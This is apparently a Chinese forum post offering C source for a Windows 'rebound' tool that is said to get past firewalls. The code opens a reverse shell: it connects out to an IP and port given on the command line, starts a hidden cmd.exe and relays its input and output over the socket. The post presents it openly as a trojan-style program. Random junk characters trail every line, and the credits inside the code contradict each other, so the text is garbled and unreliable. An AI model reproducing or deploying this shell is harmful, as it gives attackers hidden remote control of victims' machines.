这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )sqp7["-
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/* ============================== 42b=z//;
Rebound port in Windows NT
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By wind,2006/7 2Q`PUXj
===============================*/ y4)ZUv,}
#include HlOAo:8'
#include =Ov;'MC
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#pragma comment(lib,"wsock32.lib") l\A}lC0?J
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void OutputShell(); ;Wfv+]n9
SOCKET sClient; l"~h1xk~
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; vJ# rW8y
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void main(int argc,char **argv) N>F2
c)rm
{ On2Vf*G@|
WSADATA stWsaData; kG|>_5
int nRet; )|59FOWg
SOCKADDR_IN stSaiClient,stSaiServer; dcrJ,>i}
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if(argc != 3) b}EYNCw_7S
{ ~,M;+T}[r
printf("Useage:\n\rRebound DestIP DestPort\n"); Kc-A-P &Ry
return; M Z|c7f&`
} jiw`i
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WSAStartup(MAKEWORD(2,2),&stWsaData); ~,`\D7Z3
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w'5dk3$"
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stSaiClient.sin_family = AF_INET; (Ay4B*|!
stSaiClient.sin_port = htons(0); g O\f:Pg
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); qI4R`P"
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]ukj]m/@
{ JJbM)B@-
printf("Bind Socket Failed!\n"); :`Zl\!]E`o
return; $+)x)1
} t<EX#_i,
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stSaiServer.sin_family = AF_INET; Ekg N6S`}
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); BHRrXC\
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8YJqM,t5)
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _6QLnr&@j
{ zYgK$u^H
printf("Connect Error!"); ](
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return; oN1wrf}Sh
} l66ipgw_^I
OutputShell(); no\}aTx
} ;>QK}#'
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void OutputShell() Tr}$Pb1
{ NNREt:+kr
char szBuff[1024]; 9{]r+z:
SECURITY_ATTRIBUTES stSecurityAttributes; ay7+H7^|hZ
OSVERSIONINFO stOsversionInfo; *{D:1S
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !tFU9Zt
STARTUPINFO stStartupInfo; V"Y
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char *szShell; |0vHy7CE
PROCESS_INFORMATION stProcessInformation; [#3Cg%V
unsigned long lBytesRead; C}DG'z9
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); e&a[k
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Spr:K,
stSecurityAttributes.lpSecurityDescriptor = 0; !\D]\|Bo
stSecurityAttributes.bInheritHandle = TRUE; iw]BQjK
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); IG3K Pmu
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); qNQ3(1xW
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2zr WR%B
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VkP:%-*#v
stStartupInfo.wShowWindow = SW_HIDE; Xm:gD6;9
stStartupInfo.hStdInput = hReadPipe; Iy1Xn S*
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; s%TO(vT
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GetVersionEx(&stOsversionInfo); U*+!w@
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switch(stOsversionInfo.dwPlatformId) Z@aL"@2]a
{ RxDxLU2kt
case 1: yfw>y=/p
szShell = "command.com"; KlX |PQ
break; cwD*>[j
default: I>4Tbwy.-
szShell = "cmd.exe"; /Geks/
break; Qmc;s{-r;
} @v-)|8GdY
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); m=y,_Pz>U
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send(sClient,szMsg,77,0); Z-sN4fr a
while(1) v.^
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{ kKk |@
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); &u`rE""
if(lBytesRead) #?|1~HC
{ 'hHX"\|RA
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2Q_{2(nQb
send(sClient,szBuff,lBytesRead,0); GHsdLe=t0#
} !vo '8r?&
else ][K8\
{ g}og@UY7#
lBytesRead=recv(sClient,szBuff,1024,0); IOES3
if(lBytesRead<=0) break; wbF1>{/"
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); DBh/V#* D
} ^)P5(fJ
} I8oKa$RF
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return; '*{Rn7B5
}